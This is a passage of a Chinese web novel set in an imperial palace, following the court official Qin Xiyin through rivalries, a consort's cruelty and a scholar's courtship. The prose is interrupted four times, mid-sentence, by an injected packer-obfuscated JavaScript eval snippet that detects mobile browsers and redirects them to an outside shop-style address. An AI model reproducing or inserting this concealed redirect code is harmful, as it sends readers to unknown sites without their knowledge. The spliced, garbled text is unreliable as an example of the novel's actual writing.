“真的吗?那你猜猜我现在在想什么?” “你现在在想,高大人真是英明神武,智慧过人,温柔体贴,英俊潇洒……” 秦惜音忍不住笑了:“停停停,谁让你这般自夸了?” “我没自夸,我只是听见你的心声而已。” “真不要脸。” 秦惜音不轻不重地打了他一下,高毅反而笑了,握住了她的手。 秦惜音道:“好了,不跟你说了,我真的要回去了。等下次见面时,我也送一件礼物给你。” “太好了,我还缺一条抹额,一条腰带,一双手套……或者一双袜子也行。” “你还许上愿了?我给你什么你就拿什么吧。” 说着,秦惜音跑了。 高毅笑着看着她的背影,不愿移开目光。 秦惜音回到房间,觉得心情好了许多。也许是高毅的一番插科打诨,让她心中的阴霾散去了。 她身为一个女官,能做好本职工作就已经不容易了。至于让这后宫所有人都得到公道,她做不到,只要尽力了就好。 现在至少有一个好处,就是之前贺粲叫她做的事,她都可以放一放。 之前,贺粲是她的上级,她必须听贺粲的。现在可不一样了。 秦惜音深刻地体会到了什么叫风水轮流转。 只要活得久,你就能经历一些以前想都不敢想的事。 秦惜音忽然有了一个好主意。 她把贺粲叫来,说道:“贺姐姐,之前你叫我把这些陈旧的古籍重新抄录一遍,但我现在没时间,这件事还是交给你来做吧。你在司籍司的时间长,经验丰富,想必能做得比我好。我现在忙于注解皇上给的古籍,没有时间做其他事。” 贺粲有些不甘,但也只能说道:“是。” 秦惜音道:“贺姐姐,你不用这样。虽说现在你品级比我低,但我心里对你很尊敬,不会把你当下级。以后,你就叫我惜音吧,我叫你贺姐姐。” 贺粲从牙缝里挤出两个字:“多谢。” 接着,她把那些陈旧的古籍拿走了。 而秦惜音也能专心翻译古籍了。她现在已经翻译完了三本,还有四本需要翻译。 另一边,贺粲回到房间后,把手里的书籍重重地往地上一扔。 她被贬官,本来就心情不好,再加上昔日的下属暂时成了她的上级,还给她分配工作,让她有一种尊严受辱的感觉。 这时,连云走了进来,看见地上乱七八糟的书籍,冷着脸对贺粲说道:“贺粲,身为司籍司的成员,爱护书本是最基本的,你为何把这么多书扔在地上?” 贺粲皱眉道:“我是不小心把书掉在地上的,你这是什么口气?我好歹曾经是六品司籍,你也敢指责我?” 连云毫不畏惧地说道:“不管你以前是什么身份,我只知道你现在跟我一样,都是八品掌籍。如果你做得不好,我这个同僚有提醒的义务。” 贺粲瞪了她一眼,准备离开,连云拦住了她:“你先把自己的书收拾好,难道要我给你收拾吗?我又不是你的下级。” “你……” 贺粲没办法,只能蹲下来,把自己扔地上的书一本一本捡起来。 这些书本来就很旧了,被她刚才用力一扔,很多都破成两半了。 不过她要把这些书重新抄录一遍,原本碎了就碎了,问题不大。 想到自己接下来要干的活,贺粲就有些头疼。她已经很久没干过这种细致活了。 当初本来想为难秦惜音,她才找了这几本冷门的旧书出来,让秦惜音抄写一遍。 这里面有很多生僻字,光是照着写,就很费劲了。而且,很多冷僻的字句,如果从来没见过,也不理解其含义,抄写起来是很慢的。 比如,你要写“离离原上草”,会很快,因为这句诗你会背,而且从小写到大;但如果要抄写“窞中跳汰截清涎”,就会很慢,每个字都要仔细看,免得写错了。而且,一旦抄错,也很难发现。【注释1】 但是,贺粲现在身不由己。对于长官交代的活,她只能照办。 她也不想跟连云一起住,但按照规矩,两位八品掌籍是住一起的。 所以,她以后不仅有很多活要干,还得忍受连云的怪脾气。 她觉得,这种日子应该不会长久,毕竟自己现在投靠了瑾妃。瑾妃当众降她的职位,也是为了安抚人心,毕竟她卷进了李宝林的命案里。 她决定去问问瑾妃,什么时候恢复自己六品掌籍的位置。 到那时,她要秦惜音、连云等人都付出代价。 于是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751624|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抽空来到了瑾妃宫里。 瑾妃屏退下人,对贺粲道:“你不要总来本宫这里,本宫叫你了你再来。” 贺粲道:“奴婢并非故意来打扰娘娘,只是,在李宝林一案上,奴婢也是出过力的。是奴婢找到了会让人立刻沉睡的昏睡药粉,也是奴婢刻意支走守门的素绢。最后素绢不肯认罪,也是奴婢捏造事实,把罪名强加在素绢身上。 奴婢所求不多,只是想问问自己什么时候能恢复六品司籍之位。这受制于人的日子,奴婢一天也过不下去。” 瑾妃慢悠悠地说:“本宫知道你在这件事上有功劳,但本宫也让家人帮忙保住你大哥,这本来就是一场交易,不是吗?本宫把你降位,也是为了服众。毕竟,在别人看来,你在李宝林的案子上有失察之罪。 你放心,本宫迟早会恢复你的地位,还会找机会让你成为五品尚仪。本宫对自己人,一向是很大方的。” “是,多谢娘娘……只是,能不能给个准确的期限?” “这可不能保证。你刚刚被降位,至少要等几个月再升,别人才不会质疑。你且等着吧,本宫不会忘了你的事的。” “是。” 贺粲走后,瑾妃让人把秦惜音叫来。 秦惜音看见瑾妃身边的人来叫自己,不敢怠慢,赶紧放下手头的活,来到比翼宫。 瑾妃让秦惜音作两首诗,秦惜音没什么灵感,勉强写出来,感觉一般。 写诗也不是随便什么时候都能写,自己有表达欲、有丰富情感要抒发时,写得最好。 像瑾妃这样忽然叫她写诗,秦惜音能写出来就不错了,不可能每次都有高质量。 瑾妃看了秦惜音新写的诗,皱眉道:“这两首诗好像不太好,你重新润色一下。” 秦惜音说道:“回娘娘,奴婢已经尽力了,今日没法写得更好了。” 瑾妃有些生气:“这跟你以前的诗,根本不是同一水准。” “娘娘,即便是李白、杜甫,也未必每首诗都是好的。奴婢并非故意怠慢,实在是今日有些累了,没有灵感。” “是吗?累了的话,就喝点茶提提神吧。” 说着,瑾妃命人泡上一壶浓茶,让秦惜音边喝边写。 秦惜音只得从命,又写了两首。 瑾妃有些不悦:“这两首还不如刚才那两首。” 秦惜音有些苦恼:“娘娘,今日确实是不行了,要不改日……” 瑾妃却说道:“本宫有个法子,可以帮你提神。” 说着,瑾妃拔下一根簪子,用力刺进秦惜音的手背。 秦惜音惨叫一声,疼得冷汗直流,手背上也渗出了鲜血。 瑾妃问道:“秦典籍,这下你够清醒了吗?” “是……” 秦惜音只得用手帕包裹伤口,搜索枯肠,重新写诗。 其实,诗写得好不好,跟是否清醒关系也不大,主要取决于灵感。像李白等诗人,反而是在醉酒的状态下写得更好。 秦惜音压力很大,灵感全无,只能凭借丰富的知识储备,写了两首用典比较多的诗。 瑾妃看不太懂,怒道:“惜音,你是否故意写些不通顺的诗,来糊弄本宫?” 98. 苦尽甘来 “娘娘误会了,这是因为诗中化用了一些不常见的典故……” 秦惜音把诗中所用典故一一说明,瑾妃这才恍然大悟。 接着,瑾妃说道:“这两首诗用典太过晦涩,皇上会不会看不懂?如果皇上让本宫解释,本宫也未必说得出来。” “皇上博学多才,肯定看得懂,娘娘不用担心。” “嗯,这样最好。” 秦惜音松了一口气。今天的难关,总算过去了。 她的手背很疼,回去还需要上药。 她心中有些恨瑾妃,但又不敢多想,只能转移注意力。 一旦不满的情绪挂在脸上,被瑾妃发现,自己肯定吃不了兜着走。 秦惜音不禁想到,莫寒星以前也受过这份罪吗? 怪不得莫寒星那么恨瑾妃,甚至不惜走上自己不想走的路。 只可惜,莫寒星好不容易找到机会让瑾妃当众出丑,但被瑾妃三言两语化解了。 秦惜音对瑾妃道:“瑾妃娘娘,如果没什么事的话,奴婢先告退了。” 这时,有个太监从外面走进来,看见了秦惜音,微微皱眉。 秦惜音也发现,这个太监就是那个指甲缝里有金箔,手上有脂粉味,疑似杀死梧桐的那个太监。 秦惜音跟他对视了一眼,有些害怕,不敢再看。 那个太监对瑾妃耳语了几句,瑾妃看向秦惜音的眼神,渐渐充满了防备。 瑾妃对秦惜音道:“惜音,本宫刚才听张公公说,那天在李宝林的浣纱宫,你盯着他看了许久?你为何要看他?是不是因为他有什么不同寻常之处?” 秦惜音心念百转,回答道:“娘娘,奴婢当时是觉得,这位公公看起来很强壮,跟一般的宦官不太一样,所以才多看了几眼。” 瑾妃似乎松了一口气,说道:“张公公也是本宫的娘家送进宫来,专门保护本宫的暗卫。所以,他自然强壮一些。除此之外,他当时有没有别的不同之处?” “不同之处……有啊。奴婢当时觉得,这位公公的背很直,而一般小太监都是弯腰驼背的,所以奴婢有些好奇。” 瑾妃一开始有些紧张,等秦惜音最后一句话说完,她又有些放松地笑了,说道:“你回去吧。” “是。” 秦惜音走后,瑾妃问张公公:“你说,惜音有没有可能发现真正的真相?” 张公公道:“那天,她用怀疑的眼神看着奴才,奴才也不确定她有没有猜到真相。不过,刚才她对答如流,似乎不像说谎。而且,奴才不认为,她只是看了奴才几眼,就能猜到真相。” 瑾妃点头道:“嗯,也有道理,她应该不至于聪明到如此地步。如果她真的觉得是你捂死了李宝林,背后主使者是本宫的话,她这些天不会这么风平浪静,说不定会去皇上面前偷偷告本宫一状。” “娘娘放心,李宝林的事天衣无缝,应该没有人会知道真相了。而且,她如果真的敢告娘娘的状,倒霉的只会是她自己。” 这时,贴身宫女远岫也走了进来,给瑾妃倒了一杯茶,说道:“如今李宝林没了,皇上很有可能会把大皇子交给娘娘抚养。 只是,娘娘这样大费周折,只是为了得到大皇子的抚养权,奴婢觉得并不值。娘娘迟早会有亲生的孩子,何必要别人生的?” 瑾妃道:“如果本宫自己生得出,自然是有亲生儿子更好。只是,本宫私下找太医问过,好几个太医都说,本宫体弱,很难怀上孩子。即便怀上了,本宫骨架太小,生孩子时有极大的风险,不一定能活下来。 否则,本宫也不会打大皇子的主意。现在先做两手准备,一边抚养大皇子,一边想办法怀孕生子,如果没法怀孕也就算了。 当今太后也不是皇上的亲生母亲,照样能当太后。本宫也可以学她。” “是,还是娘娘思虑周全。” —————— 几天后,皇帝下旨追封梧桐为宁妃,葬入妃陵。 大皇子交由瑾妃抚养。 瑾妃开心地把大皇子接回了宫,并派了很多稳妥的人服侍。 这个结果,跟秦惜音想的一样。 如果瑾妃很开心地接受了大皇子,说明梧桐之死跟她脱不了干系,她就是看中大皇子了,才会设局害死梧桐。 只是,这个猜测也只能烂在肚子里了。 令人意外的是,没过几天,兰才人说自己身体不好,又没文化,怕教不好两位皇子,所以把自己所生的两位皇子分别送给了瑾妃和杨昭仪抚养。 二皇子送到了瑾妃处,三皇子送到了杨昭仪处。 杨昭仪也难以生育,对于这事自然是乐见其成。 没过多久,在瑾妃和杨昭仪的共同推荐下,兰花由五品才人升为四品美人。 后宫众人纷纷向兰花送上贺礼,秦惜音也代表司籍司去送过礼。 秦惜音发现,兰花虽然升位份了,但她眼中的忧郁之色更浓了,人也瘦了一大圈。她双眼乌黑,怕是连续很多天没睡好了。 人前,兰花仍是一副强颜欢笑的样子。 秦惜音明白,兰花是为了自保,才把两个孩子送出去。 这宫里,每个人都有各自的无奈之处。 —————— 秦惜音连续几日闭门不出,专心注解古籍,感到腰酸背痛,脖子也很僵硬。 她想休息一下,又怕耽误时间。 黄典籍看出她身体不适,说道:“惜音,我这里有一些活血化瘀的药膏,你涂在酸痛的地方,应该会好一些。” 秦惜音接过药膏,对黄典籍道谢。 她涂了一些药膏在脖子上、腰上,但背上有些地方,自己涂不到。 黄典籍道:“你还要涂哪里,我帮你。” “谢谢黄典籍……” 秦惜音说了几个位置,黄典籍帮忙涂上了。 黄典籍道:“好了,你先趴着休息一会吧,等药膏干了,再穿上衣服起来干活。不差这一会功夫。” 秦惜音觉得很温暖,诚恳地道谢:“谢谢黄典籍……” “这不算什么,举手之劳而已。惜音,你还年轻,要注意身体。我记得,我是二十五岁之后才开始使用这些药膏的,你才多大,也要用这些了。” 秦惜音笑道:“伏案工作,免不了肩颈僵硬……黄典籍,我想问您一个问题。您知道怎样才能成为六品司籍吗?现在司籍的位置少了一人,您有没有想过升上去?” “每次升官都需要经过考试,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751625|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每个岗位都至少要有三人报名,才能开考。每个报名者,都必须有一年以上的工作经验。 司籍司内的七品女官,也只有我们两人。你工作时间不够,不符合报名条件。除非是其他部门也有两三个七品女官想考司籍,才能开考。但是,司籍考试很难,其他部门的女官一般通过不了,所以她们也不太乐意报名。 我也不急着升上去,六品七品没什么差别。等你工作满一年了,我们再一起报名吧。” 秦惜音笑着点了点头:“嗯。对了,报名者非得满一年才可以吗?有没有提前参加考试的先例?” “提前参加考试的先例,你不就是一个吗?你升八品掌籍的时候,就是没有考试的。升七品典籍时,也是工作一两个月就考上来了。我想,只要你这段时间表现良好,说不定还会有更多的机会。” “嗯,我会努力的!” 黄典籍的话,让秦惜音心里充满了斗志。 她这一路走来,虽然经历了很多坎坷,但也遇到了很多很好的人。 黄典籍就是其中一个。 她始终像自家长辈一样,关照着秦惜音。秦惜音对她也充满了感激。 一个月期限到了,秦惜音也顺利完成了注解古籍的任务。 她把自己注解好的古籍交给沈司籍,沈芦叶。 沈芦叶随便翻了翻,笑道:“你做得很好,就是不知道能不能胜过弘文馆和集贤殿书院的版本。” 秦惜音道:“属下已经尽心竭力,如果输给了他们,还请沈司籍不要重罚。” “哈哈,你在说什么,你以为我会责罚你?其实,我从来没想过,司籍司能胜过外面那些文官。毕竟,咱们虽然也读过书,但读书的强度、广度和深度都没法跟真正的官员比。 你能把这个任务完成,就已经很厉害了。我把你的版本交给皇上,到时候看皇上怎么说。” “是。” 秦惜音回到房间,忐忑地等着。 不过,一连等了数日,都没等到结果。 沈司籍告诉她,皇上每天要忙很多公务,可能一时半会没时间看这些注解好的古籍,只需要耐心等着就是。 于是,秦惜音也不去关注这事,只把手头上的事情做好。 几天后,皇帝那边传来消息,说是皇帝选中了司籍司注解的古籍版本,司籍司上下各赏三个月的俸禄。 同时,皇帝还让尚仪局的长官带着注解古籍的相关人员去御书房面圣,接受嘉奖。 这个消息传回来,司籍司上下都很欢喜,也有很多人来感谢秦惜音。 秦惜音让司籍司在皇帝面前得脸,还战胜了弘文馆和集贤殿书院的学士们,这在以前是想都不敢想的事。 沈芦叶来找秦惜音,笑着说道:“惜音,你现在去找谢尚仪,跟着她去御书房面圣吧。皇上可能会问你是如何注解的,你如实回答就是。” 秦惜音点头道:“是。沈司籍不去吗?” “这件事完全是你的功劳,我就不去了。你见了皇上不要怕,他问什么,你答什么就是。” “是。” 秦惜音跟着谢尚仪,一路来到御书房门口。 秦惜音发现,有个妃嫔站在门口,跟小太监争执着什么。 99. 半年为期 走得近了,秦惜音才发现,那个妃嫔她也认识,就是银镜,也就是袁采女。 银镜本是瑾妃身边的三等宫女,后来被杨昭仪要去,又被杨昭仪举荐给皇帝,受封为采女。 秦惜音上次见她,还是在杨昭仪的生日宴上。 只见银镜手上捧着食盒,对守门的小太监说道:“我只是想给皇上送点吃的,为何不让我进去?我可是妃嫔,你得罪得起吗?” 小太监不卑不亢地说道:“真对不住,袁采女,皇上在忙,您真的不能进去。否则,皇上会怪罪小的。您想见皇上,等着皇上翻牌子吧。” “翻牌子?那我要等到什么时候?我现在就要见皇上!” 小太监朝旁边的侍卫们使了个眼色,侍卫们拦住了银镜的去路。 银镜有些生气,但没办法。 这时,小太监看见了谢尚仪和秦惜音,笑着迎了上来,道:“两位女官,皇上在里边等你们。” 谢尚仪点头道:“有劳公公了。” 说着,谢尚仪准备带着秦惜音进去。 这时,银镜高声道:“为何这两个奴婢能进去,我却不能进去?” 小太监解释道:“娘娘,她们两个是女官,皇上特地把她们叫来,商讨公务的,跟您不一样。” “皇上就是为了跟她们两个见面,才把我拒之门外的吗?凭什么?我位份虽低,好歹也算是主子,她们不过是奴才……” 这小太监却一改讨好的语气,有些严肃地说道:“娘娘慎言。这两位是女官,跟奴婢可不一样。她们谦虚,自称一声奴婢,您还真把她们当奴才看了?她们凭自己的本事当女官,虽然跟真正的官员没法比,但也是很受人尊重的。 别说是您,就算是更高等级的妃嫔,或是像我们这种御前伺候的人,见了女官们也都是很尊敬的。您怎么能随意羞辱?” “你……” 银镜哑口无言,自顾自地离开。 秦惜音感激地朝那小太监看了一眼。如果不是这小太监出言维护,自己和谢尚仪刚才被银镜羞辱,也毫无办法。 表面上,女官是有品级的,但是,后宫妃嫔的地位还是要比女官稍微高一些。 谢尚仪对刚才的事,倒是不以为意,冷静地带着秦惜音进御书房面圣。 皇帝询问了古籍注解的事,谢尚仪说,这件事是秦惜音一人做的。 皇帝十分欣喜,对秦惜音道:“秦女官,朕早知道你有才华,但没想到你的才华还在那些学士之上。之前你跟朕说,想做贤臣,朕还觉得你说大话。如今看来,你确实有做贤臣的资质。” 秦惜音赶紧说道:“皇上谬赞了。古籍注解一事,臣能胜出,不过是比旁人多了几分细心而已。若论学识,臣不敢跟那些学士相比,以后还有很多需要学习的地方。” “难得你满腹才华,却又十分谦虚。你想要什么赏赐?” “皇上,金银珠宝都是身外之物。如果皇上愿意赏赐臣,可否容许臣提前参加六品司籍的考试?” 皇帝点头道:“女官一般要干满一年,才能参加晋升考试。不过,这次的任务你完成得很好,足以证明你有六品女官的水平。这样吧,朕准你半年之后参加晋升考试,不必等待一年时间了。” 秦惜音喜出望外:“谢皇上。” 接着,皇帝又赏赐了秦惜音一些东西,包括几本珍贵的书籍。 秦惜音十分开心,带着自己的赏赐离开了御书房。 不远处,有两名文士打扮的人在看着秦惜音。 其中一个人身穿月白色圆领袍,身姿挺拔,眉目俊朗,嘴角噙着三分笑意。不过细看之下,又会觉得他有几分精明。 他问另一个文士:“那个姑娘就是惜音?” 另一个文士圆头圆脑,身材较矮,回答道:“是的,我特意打听过了。顾兄,这次咱们集贤殿书院的学士们,竟然输给了一个小丫头,你怎么看?” “她写的注解都是靠自己吗?有没有别人帮她?” “应该没有,我查过了。她一个人注解了七本古籍,而且几乎没有错漏,堪称全才。” 高个子文士露出意味深长的笑容:“那她倒挺有本事的,我倒希望她能为我所用。” “为你所用?这是何意?” “如果我有一个博古通今的妻子,她一定能成为贤内助,教好我们顾家的后代。这对延续顾氏的荣耀是很重要的。目前,我那些同族堂兄弟娶的妻子,通通都是贤惠有余,学识不足,只能操持家务而已,对顾氏的百年大计,没有多大的助益。” 矮个子文士露出敬佩的眼神:“顾兄,没想到你想得这么长远。” 高个子文士微微一笑,不再说话。 秦惜音回到房中,把皇帝的赏赐都收好,心情非常雀跃,脸上的笑都收不住。 现在,她的各种赏赐加起来,也是个小富婆了。只是,这事却不能跟别人分享,毕竟财不可露白,自己知道就行。 更让人高兴的是,她还可以提前半年参加晋升考试。 她暗暗发誓,这半年一定要好好干,不辜负皇帝的提携。 她觉得,距离自己跟高毅的未来,又近了一步。 如果她能成为五品女官,再找个合适的机会,请求皇帝让自己成为朝中官员,那她就不用跟高毅分隔两地了。 想着高毅俊朗的面庞,秦惜音红了脸。还好此时屋子里没人,她收回了心神,脸上的红温才退去一些。 她给自己泡了一壶茉莉花茶,又拿出一些没吃完的糕点,吃了起来,算是犒劳自己这一个月来的辛苦。 等以后有了空,得去宫外的酒楼好好吃一顿,最好是靠近江景或园林的酒楼,这样风景好…… 秦惜音畅想着未来,心中十分欢喜。 这时,她发现自己的妆奁下面压着一封信。 她把信拆开,发现是自己的大姐、大姐夫写来的。 信中说,她们知道秦惜音在宫中当了女官,觉得当女官不是长久之计,恐怕皇上见秦惜音的次数多了,又想起秦家当初夺嫡时站错队的事情。万一皇帝因此迁怒于秦惜音,恐怕不妙。 因此,秦惜音的大姐、姐夫询问,是否要打点关系,让秦惜音出宫投靠她们,她们会给秦惜音找一门合适的亲事。 秦惜音知道,她们在为自己考虑。但是,秦惜音有自己的打算,决定拒绝她们的好意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751626|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她写了一封回信,信中陈明自己的志向,还说当今皇帝英明,不会旧事重提,请姐姐、姐夫放心。 写好之后,她打算找个信得过的人,帮忙传递信件。 她想起了冷宫的小太监双喜。 她在冷宫时,双喜总是鞍前马后地跟在她身边,为人也机灵,是个送信的好人选。 于是,她偷偷来到冷宫,找到双喜,让他把自己的信件投递出去,不要让人看见。 双喜道:“惜音姑姑,您放心吧,我一定把这事办好。” 秦惜音笑道:“之前你都叫我姐姐,怎么现在给我升辈分了?” “现在你是大官了嘛,跟以前不一样了。” “噗,什么大官,别打趣我了。以后还叫我姐姐吧。” 说着,秦惜音给了双喜一些赏钱,双喜非常开心。 秦惜音回到房间后,黄典籍正好也回来了。她对秦惜音道:“刚才我去拿信,发现有一封你的信,就赛在你的妆奁下面了。你看见了吗?” “看见了,多谢黄典籍,我已经看过了。” “是你宫外的朋友写来的?” “不,是我的家人。” “原来如此。想必是以前她们不敢联系你,怕有心人会继续打压你们家。现在她们看你在宫中站稳脚跟了,才敢给寄信。” “正是如此。现在也算是苦尽甘来了。” 秦惜音心中有些感慨。走到今天这一步,真是不容易。 第二天,有个小太监来找秦惜音,说道:“秦典籍,集贤殿书院有位学士找您,说是有事,现在在乾元门外等候。” 秦惜音有些惊讶:“我跟集贤殿书院的人素无来往……” “这小的就不知道了……” “也罢,先去见见,看有什么事。” 秦惜音快步朝乾元门外走去。 集贤殿书院在外宫,那里的学士是不能无故走进内宫来的。乾元门是内宫和外宫的通道,所以要见面只能选这里。 秦惜音走到乾元门外,看见一个穿着月白袍、长身玉立、文质彬彬的文士,正笑盈盈地看着她。 秦惜音看他身上戴着集贤殿书院的牌子,便上前问道:“请问,是你找我吗?” 这文士朝秦惜音一礼,说道:“正是。在下顾清远,是集贤殿书院的五品学士。之前,听说秦典籍注解的古籍得到了皇上的认可,超过了我等注解的版本,因此,我心中对秦典籍十分佩服,也想见上一面。” “原来是这样啊,其实我也没什么特别的,以后我们可以互相学习……” “听闻秦典籍得到了皇上御赐的珍稀古籍,是否可以借我一观?” “自然可以,您什么时候需要?” “要不,明天这个时候,我们还在乾元门外碰面。” “好的。” 第二天,秦惜音如约把那几本古籍带了过来,却见顾清远捧着一盆兰花,在不远处等着。 秦惜音把古籍给他后,他也把兰花送给了秦惜音,道:“投我以木桃,报之以琼瑶。秦女官,这盆兰花是送给你的。”【注释1】 “不用了,我只是借书给你,并没有损失什么。” 100. 佳人入画 “请秦女官收下吧,这是我特意培育的兰花,往年都没开花,这几天忽然开花了,可见是吉兆。你把这盆花摆在房中,也会有好运的。” “既然如此,那我就却之不恭了。” 秦惜音刚把兰花接过去,就见一群少年文士走了过来,对顾清远打趣道:“顾兄,真是难得,你铁树开花了啊。” 顾清远道:“你们别胡说了。” 其中一个少年笑道:“我们可没胡说。这盆兰花你一向当宝贝似的护着,不让我们碰,没想到转头就送给了这位女官。你什么心思,我们可是一清二楚啊。” 顾清远道:“我不过是感谢她借我书而已。” 虽然他这么说,但嘴角有掩饰不住的笑意。 秦惜音眼看事情朝着奇怪的方向发展,赶紧解释道:“不是你们想的那样……” 说着,秦惜音想把兰花还给顾清远,顾清远坚定地把兰花推了回去。 秦惜音只得说道:“好吧,这份谢礼我收下了。顾学士,你要的书我已经给你,我先走了。” 顾清远点了点头,旁边的少年们却起哄道:“别走啊,我们顾兄好不容易才见到你!” “是啊,为了跟你搭话,他可是偷偷演练了许久呢!” 秦惜音越听这些话,走得越快,很快就走得远远的。 顾清远看着秦惜音的背影逐渐远去,抬了抬手,示意那群少年不用继续说了。 其中一个少年问道:“顾兄,我们是不是演得太过火了,那位女官好像生气了。” 顾清远道:“她应该没生气。就算生气,一个女孩也不可能因为有人喜欢她而生气太久,只怕还会有些高兴呢,只是不好意思表现出来。” 另一个少年道:“顾兄,你可真是懂女孩的心思啊。” 顾清远笑了笑,说道:“我们走吧。” “顾兄,你答应请我们吃饭——” “吃,晚上就出去吃。” —————— 秦惜音回到房间,把兰花放在窗台上。 回想着刚才的事,她心跳如鼓。 虽然她对顾清远没什么感觉,但得知自己对他而言是特殊的存在,秦惜音也难免被卷进一些无端的情绪中。 想起顾清远斯文有礼的模样,秦惜音微笑了一下。 不过,她很清楚,自己喜欢的人是高毅。 对于别的男人,她是不想招惹的。 还是得找个机会跟顾清远说清楚。 只是,顾清远并没有表明心意,说自己喜欢秦惜音,一切都是他身边人在瞎起哄,秦惜音倒不好直接拒绝顾清远。 也许他没有这个意思呢?那自己没头没脑地拒绝一通,岂不是尴尬? 秦惜音决定,还是等顾清远有了进一步的表示之后,自己再拒绝吧。 晚上,秦惜音破天荒地失眠了。 她摸着自己脸上的伤疤,有些不敢相信,除了高毅之外,还会有人喜欢她。 如果是真的,那她自然高兴。 只是,她不能因此就迷失了自己。既然已经跟高毅互剖心意,就不该三心二意才是。 她强迫自己收回思绪,深呼吸几次,才睡着了。 几天后,又有人来通知秦惜音,说是顾清远想见她,似乎是要还书。 其实,还书的事,托人转交也行。但顾清远非要当面还书,秦惜音猜测,可能顾清远是想再见自己一面。 那么,他是对自己有意吗?还是只是出于礼貌? 秦惜音心里有些忐忑起来。 于是,她放下手头的活,来到了乾元门外。 顾清远笑着走了过来,递给秦惜音几本书,说道:“秦典籍,这几本书我看完了,还给你。” 秦惜音低头一看,发现顾清远只还回来三本,但是她借了五本书给顾清远。 见秦惜音疑惑,顾清远解释道:“我只看完了这三本,想着你可能要用到这些书,就先还给你。另外两本,等我看完了再归还。” 秦惜音点了点头:“这样也行。其实,我暂时用不到这些书的。” “就算用不到,早点归还也好。” 这时,旁边有个中年大臣,看见了这一幕,走上前来,拍了拍顾清远的肩膀,说道:“顾清远,你这小子心眼多得很啊。你把书分好几次归还,不就能多见这位女官几次了?你心里打的什么算盘,我可一看就看出来了。” 顾清远笑道:“没有,世伯误会了。我确实是怕秦女官要用到这几本书,才赶紧归还的。” “你就嘴硬吧,小心来个花言巧语的小伙子,先把人家骗了去。” “世伯,您别胡说了。” 那位中年官员大笑了几声,扬长而去。 而秦惜音听出了他们话里的意思,也微微脸红。她对顾清远倒是没多大感觉,毕竟才见过几次而已,说的话也不多。 只是,一个女孩在这种场合下被人打趣,总是会有点害羞的。 还好顾清远对她说道:“那位大人言行无状,请秦典籍不要介意。” 秦惜音点了点头,道:“无妨。” “对了,其实我在看这几本书的时候,有一些困惑,不知可否跟您探讨一下?” “当然可以。” 顾清远环顾四周,见前面不远处有石桌石凳,就带着秦惜音往那边去,坐了下来。 接着,顾清远翻开书,指着其中几处,跟秦惜音讨论起来。 顾清远有疑问的字句倒确实挺难的,秦惜音也拿不定主意,跟他探讨了许久。 “秦女官,您看这句‘以戏弄臣’,该如何断句?究竟是‘以戏/弄臣’还是‘以/戏弄/臣’?” “我觉得,两者都说得通,很难从上下文来判断……” “……” 二人讨论起来,十分专注,也不知时间过了多久。 这时,顾清远说道:“瞧我,一谈论起古籍来就忘了时间,耽误了秦典籍的时间,还请见谅。” 秦惜音笑道:“没关系,我今天不忙。跟顾学士一番讨论,我也收获良多。今日要不先这样,我先回去了。” “好。” 顾清远笑着目送秦惜音远去。 第二天,秦惜音却收到一幅画。 她把画打开一看,画上是她和顾清远昨天坐在石桌旁一起看书的场景,画得惟妙惟肖,两人的相貌也画得很逼真,一看就知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751627|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁。 整体画面比较和谐,就像是一对琴瑟和鸣的夫妻,婚后请人作画一般。 如果让外人来看,判断画上这两人的关系,大部分人会觉得画上两人是年轻夫妻,而且感情很好。 秦惜音虽然觉得这幅画画得不错,但又觉得,如果流传出去,外人可能会误会她和顾清远的关系。 这幅画会是顾清远画的吗?可是,从画中人的神态来看,更像是不知情,有第三个人在暗处观察着他们。 秦惜音问送画来的小太监:“是谁让你送这幅画给我的?” “是集贤殿书院的一个学士。” “是不是顾清远?” “不是,是另外一个。” “你确定吗?” “确定,因为小的认识顾学士,知道不是他送的。” “奇怪,不是他的话,难道是顾清远的同僚……” 